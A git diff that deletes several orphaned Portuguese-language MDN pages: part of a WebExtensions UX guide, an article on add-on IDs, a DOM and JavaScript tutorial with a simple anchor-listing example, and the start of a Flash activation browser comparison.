-<p dir="ltr">If your extension offers a feature for a type of web page or specific domains, give the user access to it from an <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Page_actions">address bar button</a> using a <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/pageAction">page action</a>. This might include providing access to your RSS reader on pages with RSS feeds or providing an extended feature to pages on your website.</p>
-
-<p dir="ltr"><img alt="" src="https://mdn.mozillademos.org/files/12960/page-action.png" style="display: block; height: 262px; margin-left: auto; margin-right: auto; width: 850px;"></p>
-
-<p dir="ltr">Where you have several features you want to give the user access, you can add a <a href="/en-US/Add-ons/WebExtensions/Popups">popup</a> to the button.</p>
-
-<h3 dir="ltr" id="A_minha_extensão_precisa_de_mostrar_informação_ou_oferecer_ações_em_paralelo_com_as_páginas_da_Web">A minha extensão precisa de mostrar informação ou oferecer ações em paralelo com as páginas da Web?</h3>
-
-<p dir="ltr">If your extension includes information or actions that a user would want immediate access to while viewing any web page, use a <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Sidebars">sidebar</a>. This might include notes the user can make about a page’s content or a feature offering various font substitutions to improve readability.</p>
-
-<p dir="ltr"><img alt="" src="https://mdn.mozillademos.org/files/14825/bookmarks-sidebar.png" style="display: block; height: 761px; margin-left: auto; margin-right: auto; width: 728px;"></p>
-
-<h3 dir="ltr" id="A_minha_extensão_oferece_funcionalidade_especifica_para_o_conteúdo_da_página_ou_outras_funcionalidades_do_navegador">A minha extensão oferece funcionalidade especifica para o conteúdo da página ou outras funcionalidades do navegador?</h3>
-
-<p dir="ltr">If your extension offers features the user might want to access in context, add them to an appropriate <a href="/en-US/Add-ons/WebExtensions/user_interface/Context_menu_items">context menu</a>. This might include offering access to an image editor on the image context menu or offering extended copy features on the context menu for selected page content.</p>
-
-<p dir="ltr"><img alt="Example of content menu items added by a WebExtension, from the context-menu-demo example" src="https://mdn.mozillademos.org/files/15051/context_menu_example.png" style="display: block; height: 587px; margin-left: auto; margin-right: auto; width: 573px;"></p>
-
-<h3 dir="ltr" id="A_minha_extensão_tem_definições_que_o_utilizador_pode_ajustar">A minha extensão tem definições que o utilizador pode ajustar?</h3>
-
-<p dir="ltr">If your extension enables the user to change and save settings that affect the behavior of the extension, use an <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Options_pages">options page</a> to provide a standard Preferences link to settings from the Add-on Manager.</p>
-
-<p dir="ltr"><img alt="Typical preferences button, to access an extension's settings, from the Add-on Manager" src="https://mdn.mozillademos.org/files/15271/add-on-manager-preferences-button.png" style="display: block; height: 80px; margin-left: auto; margin-right: auto; width: 732px;"></p>
-
-<h3 dir="ltr" id="A_minha_extensão_precisa_de_recolher_muita_informação_ou_exibir_conteúdo_em_adição_aos_separadores_atuais">A minha extensão precisa de recolher muita informação ou exibir conteúdo em adição aos separadores atuais?</h3>
-
-<p dir="ltr">Where your extension needs to gather or display significant amounts of information (more than is suitable for an <a href="/en-US/docs/Web/API/Window/alert">alert</a> or would benefit from additional formatting) use <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Bundled_web_pages">bundled web pages</a> to deliver forms and similar content.</p>
-
-<p dir="ltr"><img alt="Example of a simple bundled page displayed as a detached panel." src="https://mdn.mozillademos.org/files/15073/bundled_page_as_panel.png" style="display: block; height: 445px; margin-left: auto; margin-right: auto; width: 680px;"></p>
-
-<h3 dir="ltr" id="A_minha_extensão_tenta_ajudar_o_utilizador_a_entrar_as_páginas_da_Web_ou_conteúdo">A minha extensão tenta ajudar o utilizador a entrar as páginas da Web ou conteúdo?</h3>
-
-<p dir="ltr">Where your extension includes a use case to locate web pages or content, for example, offering a site specific search, use <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Omnibox">address bar suggestions</a> to deliver those recommendations.</p>
-
-<p dir="ltr"><img alt="Example showing the result of the firefox_code_search WebExtension's customization of the address bar suggestions." src="https://mdn.mozillademos.org/files/15075/omnibox_example_full.png" style="display: block; height: 325px; margin-left: auto; margin-right: auto; width: 679px;"></p>
-
-<h3 dir="ltr" id="A_minha_extensão_oferece_ferramentas_para_os_programadores">A minha extensão oferece ferramentas para os programadores?</h3>
-
-<p dir="ltr">Where you are providing tools for developers, add them to the Firefox developer tools using <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/devtools_panels">developer tools panels</a>.</p>
-
-<h2 dir="ltr" id="Mantenha_o_utilizador_informado">Mantenha o utilizador informado</h2>
-
-<p dir="ltr">Ensuring the user knows what will happen, is happening, and has happened in your extension is an essential part of building trust and ensuring a happy user.</p>
-
-<h3 dir="ltr" id="Diga_ao_utilizador_o_que_irá_acontecer_antes_que_aconteça">Diga ao utilizador o que irá acontecer, antes que aconteça</h3>
-
-<p dir="ltr">Users should understand what will happen when they click a button. In addition to a meaningful, descriptive button label, provide tooltips that describe the action that the button will perform.</p>
-
-<div class="note">
-<p dir="ltr">Do not put the name of the extension alone in the tooltip, unless it is descriptive of the action the button will perform.</p>
-</div>
-
-<p dir="ltr">Do not use the tooltip for any other types of information such as elaborate statistics about your extension. Keep the tooltip content simple and focused on what will happen when the user clicks the button.</p>
-
-<h3 dir="ltr" id="Se_é_realmente_importante_e_o_utilizador_afastou-se_notifique-os">Se é realmente importante e o utilizador afastou-se, notifique-os</h3>
-
-<p dir="ltr">If your extension has completed a critical, long running background task, when the task completes use the operating system’s native <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Notifications">notifications</a> to update the user. This can be useful where the user may not be focusing on the extension, or the browser, when the process finishes. However, use sparingly. If it is sufficient for the user to discover that a process has completed when they return to the browser or extension, do not use notifications.</p>
-
-<p dir="ltr"><img alt="" src="https://mdn.mozillademos.org/files/14043/notify-shadowed.png" style="display: block; height: 334px; margin-left: auto; margin-right: auto; width: 700px;"></p>
-
-<h3 dir="ltr" id="Utilizar_browserAction_badges_sparingly">Utilizar browserAction badges sparingly</h3>
-
-<p dir="ltr">You can <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/browserAction/setBadgeText">add a badge</a> over the toolbar icon of a <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/browserAction">browserAction</a>, but do so sparingly to inform users about important events. Do not use them to provide regular or persistent status updates.</p>
-
-<p dir="ltr">When it comes to <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/browserAction/setBadgeBackgroundColor">coloring a badge</a>, using one of four colors for notifications of different severity is recommended:</p>
-
-<ul>
- <li>Casual: azul</li>
- <li>Sucesso: verde</li>
- <li>Aviso: amarelo</li>
- <li>Erro: vermelho</li>
-</ul>
-
-<div class="note">
-<p dir="ltr">Use of Firefox colors is suggested, for more details see <a href="http://design.firefox.com/photon/visuals/color.html">Firefox Colors</a>. However, for compatibility with <a href="https://developer.chrome.com/extensions/browserAction#icon">Chrome</a> and Opera free color selection is supported.</p>
-</div>
-
-<h2 dir="ltr" id="Testar_testar_e_depois_testar_novamente">Testar, testar, e depois testar novamente</h2>
-
-<p dir="ltr">Testing is a vital part of creating an outstanding UX for your extension. There are two key aspects of testing your UX:</p>
-
-<ol>
- <li>Test across devices and platforms to ensure your extension works and performs well in as many places as possible. This includes considering factors such as the user’s screen size and resolution—just because your extension looks good and is easy to use on your desktop monitor does not mean it looks as good and works as well on a smaller laptop screen, or, indeed, vice versa.</li>
- <li>Test with as many users as possible. Do not assume that you know your audience, as people’s backgrounds and experience can make a huge difference to how they interact with your extension. So, allow for user testing as part of your extension’s development.</li>
-</ol>
-
-<p dir="ltr">Dicas de teste:</p>
-
-<ul>
- <li>In AMO you have the option to <a href="/en-US/Add-ons/Distribution/Submitting_an_add-on#Listing_on_AMO">identify your extension as experimental</a> or publish a <a href="/en-US/Add-ons/Distribution#Beta_versions">beta or other non-final release</a>. If you flag your extension as experimental it is listed in AMO, so that any user can find it, but with a lower profile. When you are happy that the extension is ready for a wider audience, you can turn off the experimental flag and your extension will be listed as normal in AMO. If you have a published extension, you can use the Development channel to offer an alpha or beta version for testing. You will need to direct your testers to the Development Channel of your extension’s listing or let your testers know the link to use to install your extension.<br>
- <img alt="The development channel section of an extension's listing page, offering access to alpha and beta versions for testing." src="https://mdn.mozillademos.org/files/15273/extensions-development-channel.png" style="display: block; height: 262px; margin-left: auto; margin-right: auto; width: 751px;"><br>
- When you are happy with your update, you can publish it as the new release version of your extension.</li>
- <li>If you want to distribute your extension to users outside AMO, you can find the instructions for doing so, and the installation instructions you need to provide users, in the article on <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Alternative_distribution_options/Sideloading_add-ons">Sideloading add-ons</a>. Remember that, unlike distribution through AMO, you will need to send users any updated versions of your extension as you make improvements.</li>
- <li>Use the <a href="https://developer.mozilla.org/en-US/docs/Tools/Responsive_Design_Mode">Responsive Design Mode</a> to test your extension for its behavior on other screen sizes and device types.</li>
-</ul>
diff --git a/files/pt-pt/orphaned/mozilla/add-ons/webextensions/webextensions_and_the_add-on_id/index.html b/files/pt-pt/orphaned/mozilla/add-ons/webextensions/webextensions_and_the_add-on_id/index.html
deleted file mode 100644
index 6c3e2066c2..0000000000
--- a/files/pt-pt/orphaned/mozilla/add-ons/webextensions/webextensions_and_the_add-on_id/index.html
+++ /dev/null
@@ -1,79 +0,0 @@
----
-title: Extensões e a Id. do extra
-slug: orphaned/Mozilla/Add-ons/WebExtensions/WebExtensions_and_the_Add-on_ID
-tags:
- - Extensões da Web
- - WebExtensions
-translation_of: Mozilla/Add-ons/WebExtensions/WebExtensions_and_the_Add-on_ID
-original_slug: Mozilla/Add-ons/WebExtensions/ExtennsoesWeb_e_a_id_do_extra
----
-<div>{{AddonSidebar}}</div>
-
-<div class="summary">
-<p>Os extras do Firefox contêm uma Id. única que é utilziada para distinguir este extra de qualquer outro extra do Firefox.</p>
-
-<p>Este artigo descreve como as Ids. de extra são tratados para as extensões criadas com APIs WebExtensions.</p>
-</div>
-
-<p>Firefox add-ons contain a unique identifier which is used both inside Firefox itself and on the <a href="https://addons.mozilla.org/">addons.mozilla.org</a> (AMO) website. For example, it's used by Firefox to check for updates to installed add-ons and to identify which objects (such as data stores) are controlled by this add-on.</p>
-
-<p>With older types of Firefox add-on, the add-on developer must set the add-on ID explicitly. XUL/XPCOM add-ons set the ID in the <a href="/en-US/docs/Mozilla/Add-ons/Install_Manifests">install manifest</a>, while SDK add-ons set it in the <a href="/en-US/docs/Mozilla/Add-ons/SDK/Tools/package_json">package.json</a>.</p>
-
-<p>However, from Firefox 48 you can develop, debug, publish, and update extensions without needing to set an explicit ID at all.</p>
-
-<div class="note">
-<p>Note that the ability to develop and debug WebExtensions that don't include an ID is new in Firefox 48. If you need to use an earlier version of Firefox, then you must use the <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/applications">applications</a></code> key to set an ID explicitly.</p>
-</div>
-
-<h2 id="Basic_workflow_with_no_add-on_ID">Basic workflow with no add-on ID</h2>
-
-<p>Extensions can explicitly set the add-on ID using the <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/applications">applications</a></code> key in manifest.json. However, this key is usually optional. If you don't set it, then you can usually develop, debug, publish, and update your extension without ever having to deal with an ID. One advantage of this is that Google Chrome does not recognize the <code>applications</code> key and will show a warning if you include it.</p>
-
-<p>Note, though, that some WebExtension APIs use the add-on ID and expect it to be the same from one browser session to the next. If you use these APIs in Firefox, then you must set the ID explicitly using the <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/applications">applications</a></code> key. See <a href="/en-US/Add-ons/WebExtensions/WebExtensions_and_the_Add-on_ID#When_do_you_need_an_add-on_ID">When do you need an Add-on ID?</a>.</p>
-
-<h3 id="Developing_and_debugging">Developing and debugging</h3>
-
-<p>Starting in Firefox 48, if your manifest.json does not contain an ID then the extension will be assigned a randomly-generated temporary ID when you <a href="/en-US/Add-ons/WebExtensions/Temporary_Installation_in_Firefox">install it in Firefox</a> through about:debugging. If you then reload the extension using the "Reload" button, the same ID will be used. If you then restart Firefox and load the add-on again, it will get a new ID.</p>
-
-<p>If you turn the extension into an .xpi or .zip and install it through about:addons, it will not work. To have it work in this scenario, you will need to add in the <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/applications">applications</a></code> key in manifest.json</p>
-
-<h3 id="Publishing">Publishing</h3>
-
-<p>Once you have finished developing the extension, you can <a href="/en-US/Add-ons/WebExtensions/Publishing_your_WebExtension">package it and submit it to AMO for review and signing</a>. If the packaged extension you upload does not contain an ID, AMO will generate one for you. It's only at this point that the add-on will be assigned a permanent ID, which will be embedded in the signed packaged extension.</p>
-
-<p>Note that once an extension has been given a permanent ID, you can't then update it to use the Add-on SDK or legacy XUL/XPCOM techniques. If you do switch to one of these platforms, you must submit it as a distinct new add-on, with a new ID.</p>
-
-<h3 id="Updating">Updating</h3>
-
-<p>Even after this point, though, you don't generally have to deal with the ID at all. You can continue to develop the add-on without an ID, and when you want to update, upload the new version by visiting the add-on's AMO page. Because you are uploading the add-on through that page, AMO knows that this is an update to this particular add-on, even though it doesn't contain an ID.</p>
-
-<div class="note">
-<p>It's essential with this workflow that you update the add-on <em>manually using its page on AMO</em>, otherwise AMO will not understand that the submission is an update to an existing add-on, and will treat the update as a brand-new add-on.</p>
-</div>
-
-<p>You can do the same thing if you are updating from an older add-on type, such as a XUL/XPCOM add-on, to use WebExtensions APIs. Just visit the old add-on's page on AMO, upload the new extension there, and it will be treated as an update to the old version.</p>
-
-<h2 id="Quando_é_que_precisa_de_uma_Id._de_extra">Quando é que precisa de uma Id. de extra?</h2>
-
-<ul>
- <li>If you are loading the add-on from its XPI file, are not loading it temporarily using about:debugging and it is not signed.</li>
- <li>If you use <a href="https://addons-server.readthedocs.io/en/latest/topics/api/signing.html">AMO's API</a> for uploading your add-on, rather than uploading it manually on its page, then you need to include the add-on's ID in the request.</li>
- <li>Some WebExtension APIs use the add-on ID and expect it to be the same from one browser session to the next. If you use these APIs, then you must set the ID explicitly using the <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/applications">applications</a></code> key. This applies to the following APIs:
- <ul>
- <li>{{WebExtAPIRef("storage.managed")}}</li>
- <li>{{WebExtAPIRef("storage.sync")}}</li>
- <li>{{WebExtAPIRef("identity.getRedirectURL")}}</li>
- <li><a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/Native_messaging">Native messaging</a></li>
- <li>{{WebExtAPIRef("pkcs11")}}</li>
- <li>{{WebExtAPIRef("runtime.onMessageExternal")}}</li>
- <li>{{WebExtAPIRef("runtime.onConnectExternal")}}</li>
- </ul>
- </li>
- <li>Using Firefox for Android. See <a href="/en-US/Add-ons/WebExtensions/manifest.json/applications">applications in manifest.json</a>.</li>
-</ul>
-
-<p> </p>
-
-<p> </p>
-
-<p> </p>
diff --git a/files/pt-pt/orphaned/o_dom_e_o_javascript/index.html b/files/pt-pt/orphaned/o_dom_e_o_javascript/index.html
deleted file mode 100644
index 28e46fdc6d..0000000000
--- a/files/pt-pt/orphaned/o_dom_e_o_javascript/index.html
+++ /dev/null
@@ -1,83 +0,0 @@
----
-title: O DOM e o JavaScript
-slug: orphaned/O_DOM_e_o_JavaScript
-original_slug: O_DOM_e_o_JavaScript
----
-<h3 id="The_Big_Picture" name="The_Big_Picture">Quadro Geral</h3>
-
-<p>Efeitos visuais como movimentação de camadas pela página, mostrar e esconder camadas, menus em popup, etc. são normalmente referenciados como "<a href="/en/DHTML" title="en/DHTML">DHTML</a>", ou "HTML Dinâmico". Algumas pessoas questionam a utilização real dessas tecnologias em páginas web que supostamente deveriam lidar com conteúdo e não apresentação. Mas o fato é que estão aqui, hoje.</p>
-
-<p>Desde que trabalho nesse projeto, e tendo contato com vários webmasters, me impressiona a grande quantidade da comunidade de webdesign que não conhece seus trabalhos DHTML. A maior parte do tempo eles apenas vão até sites de repositório de scripts, e apenas copiam e colam o código em sua própria página web. Infelizmente a maioria desses sites falam sobre "javascript" e "DHTML" e nunca falam sobre "<a href="/en/DOM" title="en/DOM">DOM</a>". É verdade que, mesmo que o DOM seja um conceito antigo, ele faz parte dos "jargões do desenvolvedor web médio" apenas recentemente.</p>
-
-<p>É um grande desafio para um projeto como a Mozilla convencer os donos desses sites de que vale a pena codificar para o DOM W3C , o que as vezes significa muito trabalho, e falta de suporte em browsers antigos. Também é um grande desafio obter os fatos verdadeiros sobre o suporte ao DOM W3C. O Netscape 6 foi muito criticado por webdesigners estúpidos que estavam codificando seu "JavaScript" para o Netscape 4 e Internet Explorer usando document.layers e document.all. Todos os dias tentamos ajudar pessoas em grupos de notícias, emails pessoais, no Bugzilla, a ter seu site o mais compatível possível. Um dos maiores problemas que encontramos é a confusão entre <a href="/en/JavaScript" title="en/JavaScript">JavaScript</a>, <a href="/en/DHTML" title="en/DHTML">DHTML</a>, e <a href="/en/DOM" title="en/DOM">DOM</a>. Essa é uma tentativa de esclarecer as coisas, e explicar as relações entre essas fantásticas e úteis tecnologias.</p>
-
-<h3 id="JavaScript.2C_THE_Web_Scripting_Language" name="JavaScript.2C_THE_Web_Scripting_Language">Javascript, A Linguaguem de Script para Web</h3>
-
-<p><a href="/en/JavaScript" title="en/JavaScript">JavaScript</a> é uma "linguagem de objetos de script" desenvolvida inicialmente na Netscape Communications Corp. por Brendan Eich, que é um dos líderes do projeto Mozilla atualmente. O motor JavaScript utilizado pela Mozilla é o <a href="/en/SpiderMonkey" title="en/SpiderMonkey">SpiderMonkey</a>, que está em conformidade com a especificação do ECMA-262 revisão 3. JavaScript também é conhecido como <a href="/en/ECMAScript" title="en/ECMAScript">ECMAScript</a> (mas veja a página do link para uma explicação detalhada).</p>
-
-<p>Ao contrário do popular equívoco, Javascript não é "Java Interpretado". Em resumo, Javascript é uma linguagem de script dinâmica com suporte a construção de objetos baseado em protótipo. A sintaxe básica é intencionalmente similar a Java e C++ para reduzir a quantidade de novos conceitos necessários para aprender a linguagem. A grande coisa sobre JavaScript é que ele é extremamente fácil de aprender se você quer fazer programação básica (como as necessárias para DHTML simples). Sem tipos visíveis de variáveis, strings são simples de utilizar, total neutralidade de plataforma, etc. Para codificadores avançados também funciona como linguagem procedural e orientada a objetos.</p>
-
-<p>Você verá que a maior parte desse parágrafo sobre JavaScript foi retirado da <a class="external" href="http://mozilla.org/js">página de JavaScript da Mozilla</a>. A especificação mais recente do ECMA pode ser encontrada <a class="external" href="http://www.mozilla.org/js/language/">aqui</a>.</p>
-
-<h3 id="The_Document_Object_Model.2C_a_language-neutral_set_of_interfaces" name="The_Document_Object_Model.2C_a_language-neutral_set_of_interfaces">O Modelo de Objeto de Documento, um conjunto de interfaces neutro de linguagem</h3>
-
-<p>Enquanto JavaScript é a linguagem de programação que permitirá a você operar os objetos DOM e manipulá-los através de programação, o DOM proverá a você métodos e propriedades para recuperar, modificar, atualizar e remover partes do documento em que você está trabalhando. Por exemplo, você pode recuperar o valor de um controle de input de texto HTML como uma string utilizando o DOM. Então você pode utilizar o operador JavaScript "+" para concatenar essa string com qualquer outra de modo a fazer uma sentença mais compreensível. Você deveria usar o método DOM "alert()" para mostrar a string em uma caixa de diálogo para o usuário. Veja também exemplos abaixo.</p>
-
-<p>Se uma página Web fosse um pedaço de um móvel importado da Suécia, o DOM seria as ilustrações das partes - as prateleiras, parafusos, chaves Allen e chaves de fenda.  É possível escrever instruções de como colocar as partes juntas e utilizá-las em qualquer número de linguagens, mas você só utilizará aquelas que você compreende. O manual faz com que seja fácil montar o móvel utilizando as instruções escritas (JavaScript) para referenciar ilustrações do s objetos (DOM) que representam objetos atuais (motor de renderização do navegador). (Obrigado ao Jonathan pela analogia!)</p>
-
-<p>O que é essa fama "linguagem-neutra" como DOM? Por que o DOM é uma linguagem neutra se a única linguagem utilizada para acessá-lo é JavaScript? Bem, isso não é completamente correto. Por exemplo, a Mozilla utiliza o DOM internamento tanto em C++ quanto em JavaScript para sua interface de usuário. O editor, por exemplo,utiliza DOM extensivamente de modo a inserir, modificar e remover o HTML que você está vendo quando você constrói a página no modulo Compositor. Outras implementações conhecidas do DOM incluem <a class="external" href="http://users.erols.com/enno/index.html">Perl</a>, <a class="external" href="http://www.docuverse.com/domsdk/index.html">Java</a>, <a class="external" href="http://web.archive.org/web/*/http://www.vivid-creations.com/dom/index.htm">ActiveX</a>, <a class="external" href="http://fourthought.com/4Suite/4DOM">Python</a>, e provavelmente outras. Isso é com certeza possível apenas devido a neutralidade de linguagem do DOM.</p>
-
-<h3 id="The_DOM_and_JavaScript_-_What_is_doing_what.3F" name="The_DOM_and_JavaScript_-_What_is_doing_what.3F">O DOM e o JavaScript - O que está fazendo o que?</h3>
-
-<p>Chegamos ao ponto principal desse documento. O que está fazendo o que? Em um script que embuti em minha página web, o que é o DOM e o que é o JavaScript? Vamos olhar um pouco mais de perto para um simples exemplo. Ele irá recuperar todas as tags <span class="nowiki">&lt;a&gt;</span> em uma NodeList que chamamos de "<code>anchorTags</code>". Então para cada tag de âncora (cada elemento da NodeList <code>anchorTags</code>), ele vai mostrar um alert como valor do atributo "href" da tag.</p>
-
-<p>Azul é para JavaScript. Vermelho para DOM.</p>
-
-<pre class="eval"><span class="highlightblue">var anchorTags = <span class="highlightred">document.getElementsByTagName("a")</span>;
-for (var i = 0; i &lt; <span class="highlightred">anchorTags.length</span> ; i++)
-{
- <span class="highlightred">alert</span>("Href desse elemento a é : " + <span class="highlightred">anchorTags[i].href</span> + "\n");
-}</span>
-</pre>
-
-<h4 id="Explanations" name="Explanations">Explicações</h4>
-
-<p>Esse fragmento de código mostra o que é JavaScript puro, e o que é DOM.</p>
-
-<dl>
- <dt><span class="highlightblue">var anchorTags =</span></dt>
- <dd>Isso irá criar a variável JavaScript chamada "<code>anchorTags</code>".</dd>
- <dt><span class="highlightred">document.getElementsByTagName("a")</span></dt>
- <dd>A interface <code>Document</code> é a primeira interface definida no DOM1 Core, e <code>document</code> é um hospedeiro de objeto implementando a interface <code>Document</code>. O documento armazena tudo que está em sua página.<br>
- O DOM1 Core define o método <code>getElementsByTagName()</code> na inteface <code>Document</code>. Ele recupera uma NodeList (uma espécie de array específico do DOM que armazena nós) de todas as tags que coincidem com o parâmetro passado para a função, em ordem de ocorrência no documento fonte. A variável <code>anchorTags</code> agora é um NodeList.</dd>
- <dt><span class="highlightblue">;</span></dt>
- <dd>O básico ponto e vírgula de fim de instrução. Coisa do JavaScript.</dd>
- <dt><span class="highlightblue">for (var i = 0; i &lt;</span></dt>
- <dd>Uma típica repetição "for" de uma linguagem de programação. Isso permite ir através de cada nó contido no NodeList <code>anchorTags</code>. Note a declaração da variável "<code>i</code>". Também JavaScript.</dd>
- <dt><span class="highlightred">anchorTags.length</span></dt>
- <dd>O DOM1 Core define a propriedade <code>length</code> da interface <code>NodeList</code>. Isso retorna um inteiro que é o número de nós contidos no NodeList. Note que arrays JavaScript também possuem uma <a href="/en/JavaScript/Reference/Global_Objects/Array/length" title="en/Core_JavaScript_1.5_Reference/Global_Objects/Array/length">priedade </a><a href="/en/JavaScript/Reference/Global_Objects/Array/length" title="en/Core_JavaScript_1.5_Reference/Global_Objects/Array/length"><code>length</code></a>.</dd>
- <dt><span class="highlightblue">; i++) {</span></dt>
- <dd>Típico incremento de 1 em variável JavaScript.</dd>
- <dt><span class="highlightred">alert(</span></dt>
- <dd><code>alert()</code> é um método DOM que faz surgir uma caixa de diálogo com o parâmetro (string) que você passou para ele. Note que isso é parte do chamado DOM nível 0, ou DOM0. DOM0 é um conjunto de interfaces suportada por alguns browsers, mas que não é parte da especificação DOM.</dd>
- <dt><span class="highlightblue">"Href desse elemento a é: " +</span></dt>
- <dd>Uma string literal e um operador de concatenação de string. JavaScript.</dd>
- <dt><span class="highlightred">anchorTags{{ mediawiki.external('i') }}.href</span></dt>
- <dd>"<code>href</code>" é uma propriedade da interface <code>HTMLAnchorElement</code> definida na especificação HTML DOM1. Ela reotnra o valor do atributo <code>href</code> do elemento âncora, se existir.<br>
- Nós utilizamos <code>anchorTags{{ mediawiki.external('i') }}</code>, a mesma sintaxe que é utilizada em JavaScript para acessar o <code>i</code>-ésimo item de um array. A neutralidade de linguagem "modo DOM" para acessar um item de uma NodeList é utilizar o método <code>item()</code>, definido na interface <code>NodeList</code>: <code>anchorTags.item(1).href</code>. Mas a maioria das implementações JavaScript permite utilizar uma sintaxe mais simples semelhante a de array, e essa é que as pessoas mais utilizam realmente.</dd>
- <dt><span class="highlightblue">+ "\n");</span></dt>
- <dd>Mais concatenação de string. Insere um retorno de linha ao fim da string.</dd>
- <dt><span class="highlightblue">}</span></dt>
- <dd>Fim do laço de repetição "for".</dd>
-</dl>
-
-<div class="originaldocinfo">
-<p><strong>Original Document Information</strong></p>
-
-<ul>
- <li>Author(s): Fabian Guisset &lt;fguisset at softhome dot net&gt;</li>
- <li>Copyright Information: © 1998-2005 by individual mozilla.org contributors; content available under a <a class="external" href="http://www.mozilla.org/foundation/licensing/website-content.html">Creative Commons license</a></li>
-</ul>
-</div>
-
-<p>{{ languages( { "fr": "fr/Le_DOM_et_JavaScript", "ja": "ja/The_DOM_and_JavaScript", "pl": "pl/DOM_i_JavaScript", "zh-cn": "cn/The_DOM_and_JavaScript", "pt": "pt/O_DOM_e_o_JavaScript" } ) }}</p>
diff --git a/files/pt-pt/orphaned/plugins/flash_activation_colon__browser_comparison/index.html b/files/pt-pt/orphaned/plugins/flash_activation_colon__browser_comparison/index.html
deleted file mode 100644
index 97041057e1..0000000000
--- a/files/pt-pt/orphaned/plugins/flash_activation_colon__browser_comparison/index.html
+++ /dev/null
@@ -1,147 +0,0 @@
----
-title: 'Ativação de Flash: Comparação de Navegador'
-slug: orphaned/Plugins/Flash_Activation:_Browser_Comparison
-tags:
- - Como
- - Flash
- - Principiante
- - compatibilidade de navegador
-translation_of: Plugins/Flash_Activation:_Browser_Comparison
-original_slug: Plugins/Ativacao_de_Flash:_comparacao_de_navegador
----
-<p>Cada um dos principais navegadores implementou uma funcionalidade onde o conteúdo do Adobe Flash não é executado por predefinição, mas cada um dos navegadores implementou essa funcionalidade e a interface do utilizador de maneiras ligeiramente diferentes. Este guia irá ajudar a descrever as semelhanças e as diferenças entre os navegadores, para que os programadores da Web possam oferecer a melhor experiência ao utilizador. Está disponível outro guia para assistir os autores do site da Web em <a href="/pt-PT/docs/Plugins/Flash_para_HTML5">migrating away from Flash</a>.</p>
-
-<p>In each browser, the decision to enable Flash is made by users on a per-site basis. When a site attempts to use Flash, the browser will prompt the user in some way and give the user an opportunity to enable Flash for that site. Flash-blocking extensions are no longer necessary because this functionality is now built into the browser.</p>
-
-<table class="fullwidth-table">
- <thead>
- <tr>
- <td> </td>
- <th scope="col">Mozilla Firefox</th>
- <th scope="col">Google Chrome</th>
- <th scope="col">Microsoft Edge</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <th scope="row">Setting Name</th>
- <td>Ask to activate</td>
- <td>HTML5 by default</td>
- <td>Click-to-run</td>
- </tr>
- <tr>
- <th scope="row">'application/x-shockwave-flash' in navigator.mimeTypes by default when Flash is inactive</th>
- <td>yes</td>
- <td>no</td>
- <td>no</td>
- </tr>
- <tr>
- <th scope="row">'application/x-shockwave-flash' in navigator.mimeTypes when user enables Flash</th>
- <td>yes</td>
- <td>yes</td>
- <td>yes</td>
- </tr>
- <tr>
- <th scope="row">&lt;object&gt; with fallback content triggers UI</th>
- <td>yes, with exceptions</td>
- <td>no</td>
- <td>yes</td>
- </tr>
- <tr>
- <th scope="row">small/hidden Flash triggers additional UI</th>
- <td>yes</td>
- <td>no</td>
- <td>no</td>
- </tr>
- <tr>
- <th scope="row">Enabling Flash automatically reloads the page</th>
- <td>no</td>
- <td>yes</td>
- <td>yes</td>
- </tr>
- <tr>
- <th scope="row">Other features related to Flash</th>
- <td><a href="/en-US/docs/Plugins/Blocking_By_Domain">Domain Blocking</a></td>
- <td><a href="https://sites.google.com/a/chromium.org/dev/flash-roadmap#TOC-Plugin-Power-Savings-Mode-Shipped:-Chrome-42---Sept-2015-">Plugin Power Saver</a></td>
- <td><a href="https://blogs.windows.com/msedgedev/2016/04/07/putting-users-in-control-of-flash/#fLGW6bYgr4BpSHIr.97">Peripheral Content Pause</a></td>
- </tr>
- </tbody>
-</table>
-
-<p>Each of the browser vendors has a roadmap about the future of Flash and changes to the user experience. The <a href="/en-US/docs/Plugins/Roadmap">Firefox Flash roadmap</a> includes links to roadmaps and posts from other vendors.</p>
-
-<h2 id="Caomparação_da_IU">Caomparação da IU</h2>
-
-<h3 id="Mozilla_Firefox">Mozilla Firefox</h3>
-
-<p>In-page UI is displayed when the site attempts to use Flash. An icon also appears on the left side of the location bar. The user can click on the Flash object or the location bar icon to activate Flash:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/15127/Firefox-flash-inpage.png" style="height: 389px; width: 674px;"></p>
-
-<p>Users have the choice to allow Flash just for the current session, or to remember their choice:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/15131/Firefox-notification.png" style="height: 199px; width: 426px;"></p>
-
-<h3 id="Google_Chrome">Google Chrome</h3>
-
-<p>In-page UI is displayed when the site attempts to use Flash without fallback content:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/15141/Chrome-flash-inpage.png" style="height: 412px; width: 635px;"></p>
-
-<p>A user can click the plugin element to show a prompt for allowing Flash:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/15161/Chrome-flash-prompt.png" style="height: 182px; width: 516px;"></p>
-
-<p>If the site provides fallback content for an object element, Chrome will display that content and will not prompt the user to enable Flash. If a Flash element is not visible to the user, the user will not get a visible prompt.</p>
-
-<p>A user can click the information icon on the left side of the location bar on any site to open the site information and allow Flash on that site:</p>
-
